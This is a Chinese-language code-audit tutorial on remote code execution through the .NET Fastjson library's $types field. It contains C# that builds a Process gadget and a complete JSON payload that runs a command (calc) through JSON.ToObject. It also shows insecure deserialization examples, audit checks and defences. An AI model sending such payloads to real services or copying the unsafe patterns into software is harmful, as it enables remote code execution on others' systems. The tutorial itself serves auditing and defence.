.NET高级代码审计(第三课)Fastjson反序列化漏洞
字数 971 2025-08-18 11:38:08
.NET Fastjson反序列化漏洞分析与利用
一、Fastjson简介
Fastjson是一个高效的.NET JSON处理库,主要特点包括:
- 通过反射生成大量IL代码提升性能
- 提供快速的序列化(ToJSON)和反序列化(ToObject)方法
- 性能优于老牌Json.Net、Stack等库
下载地址:http://www.codeproject.com/Articles/159450/fastJSON
二、Fastjson序列化机制
基本序列化方法
string json = JSON.ToJSON(obj);
序列化配置参数
通过JSONParameters可配置序列化行为:
var parameters = new JSONParameters {
UseExtensions = true, // 包含类型信息($types)
SerializeNullValues = false // 不序列化null值
};
string json = JSON.ToJSON(obj, parameters);
序列化结果示例
序列化后的JSON包含:
$types键:存储对象的程序集全限定名- 成员属性名作为键
- 成员属性值作为值
三、Fastjson反序列化漏洞
漏洞原理
当反序列化不可信的JSON数据时,攻击者可控制$types指定的类型,导致任意代码执行。
关键危险方法
// 所有ToObject重载方法都存在风险
object obj = JSON.ToObject(json);
object obj = JSON.ToObject(json, parameters);
漏洞利用条件
- 反序列化的JSON数据可控
- JSON中包含
$types字段指定恶意类型 - 使用ToObject方法进行反序列化
四、漏洞利用步骤
1. 构造ProcessStartInfo对象
Type t3 = typeof(ProcessStartInfo);
PropertyInfo propertyName = t3.GetProperty("FileName");
PropertyInfo propertyArgs = t3.GetProperty("Arguments");
var processInfo = new ProcessStartInfo();
propertyName.SetValue(processInfo, "cmd.exe", null);
propertyArgs.SetValue(processInfo, "/c calc", null);
2. 构造Process对象
Type t2 = typeof(Process);
PropertyInfo propertyStartInfo = t2.GetProperty("StartInfo");
var process = new Process();
propertyStartInfo.SetValue(process, processInfo, null);
3. 生成恶意Payload
序列化上述对象并精简,得到类似以下Payload:
{
"$types": {
"System.Diagnostics.Process, System": "1",
"System.Diagnostics.ProcessStartInfo, System": "2"
},
"$type": "1",
"StartInfo": {
"$type": "2",
"FileName": "cmd.exe",
"Arguments": "/c calc"
}
}
4. 触发漏洞
string payload = "..."; // 上述恶意JSON
JSON.ToObject(payload); // 触发计算器
五、代码审计要点
危险模式识别
- 查找代码中所有
JSON.ToObject调用 - 检查传入参数是否用户可控
- 检查是否有对
$types的过滤
常见漏洞代码示例
// 不安全示例1
public class JSONSerializer {
public object Deserialize(string json) {
return JSON.ToObject(json);
}
}
// 不安全示例2
var obj = JSON.ToObject(Request.Form["data"]);
六、防御措施
- 避免反序列化不可信数据:不要用Fastjson反序列化用户输入的JSON
- 使用替代方案:考虑使用Newtonsoft.Json等更安全的库
- 类型检查:实现自定义反序列化逻辑,严格检查
$types允许的类型 - 输入过滤:对反序列化的JSON数据进行严格验证
七、漏洞复现演示
- 构造恶意JSON Payload
- 通过Web接口提交Payload
- 服务端调用
ToObject反序列化 - 成功执行系统命令(弹出计算器)
八、总结
Fastjson反序列化漏洞利用成本低但危害大,攻击者只需提交精心构造的JSON数据即可实现RCE。开发人员应:
- 了解反序列化安全风险
- 避免直接反序列化用户输入
- 及时更新到安全版本
- 考虑使用更安全的替代方案